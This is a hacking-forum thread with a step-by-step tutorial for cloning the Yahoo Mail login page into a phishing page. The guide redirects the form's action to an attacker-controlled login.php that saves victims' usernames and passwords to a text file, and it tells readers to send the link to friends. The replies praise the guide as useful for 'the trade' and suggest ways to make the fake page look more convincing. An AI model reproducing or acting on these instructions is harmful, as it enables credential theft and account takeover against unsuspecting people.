[Nightlife]

Hello, this may be helpful to some however not to others. This is copy + pasted from a forum i previously used so excuse any hyperlinks etc missing.

Hope you guys enjoy, first of many guides to come.

1. Go to the Yahoo login page by typing the following URL.
mail.yahoo.com
2. Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file)
3. Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email.
4. Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files“.You may also rename the .HTML file to yahoo.HTML
5. Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.
For example you may find something like this in the opened HTML file
src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif“
Rename the above link into

src=”files/ma_mail_1.gif“
Repeat the same procedure for every file contained in the Folder.

6. Now search for the following term

action=

you will see something like this

Code:
action=https://login.yahoo.com/config/login?

Edit this to

Code:
action=http://yoursite.com/login.php

Save the changes to the file.
NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.
yoursite.com/
7. Now you have to upload your yahoo.HTML, files folder and login.php to

NOTE: Make sure that your host supports PHP
8. Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)
9. Once you do this distribute the Gmail.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file in your site.Download .TXT file to see the password inside


(P.S: This has been passed done through a friend, which i've edited/updated so credits to aabee also.)

[Cressi]

Aurora writing a phishing site? I recognize this... (still joking, I couldn't resist it (sorry))

Anyways, nice tutorial, definitely worth a read for anyone getting into the...trade ^^

[Nightlife]

Aurora writing a phishing site? I recognize this... (still joking, I couldn't resist it (sorry))

Anyways, nice tutorial, definitely worth a read for anyone getting into the...trade ^^

You're never going to let that joke die are you? haha. thanks for rep and feedback.

Have a good day!

[Cressi]

You're never going to let that joke die are you? haha. thanks for rep and feedback.

Have a good day!

Never Thank you too, have a nice afternoon (or whatever it is where you're at) ^^

[Satan]

While useful, it'd make a fairly basic one, and may (depending on your host) come back with a rather messy looking page.

To make it a bit more advanced and ensure that it looks proper, download all the images and files referenced in the page you're borrowing, upload and reference them in the document, that way it displays proper even if the page changes in the future., and ensure your host does not modify pages (E.g. putting their own ads or links at the footer of the site.)

[Nightlife]

While useful, it'd make a fairly basic one, and may (depending on your host) come back with a rather messy looking page.

To make it a bit more advanced and ensure that it looks proper, download all the images and files referenced in the page you're borrowing, upload and reference them in the document, that way it displays proper even if the page changes in the future., and ensure your host does not modify pages (E.g. putting their own ads or links at the footer of the site.)

Right, while i've done this i can vouch it works find. However your feedback is helpful and greatful.

Thanks. +1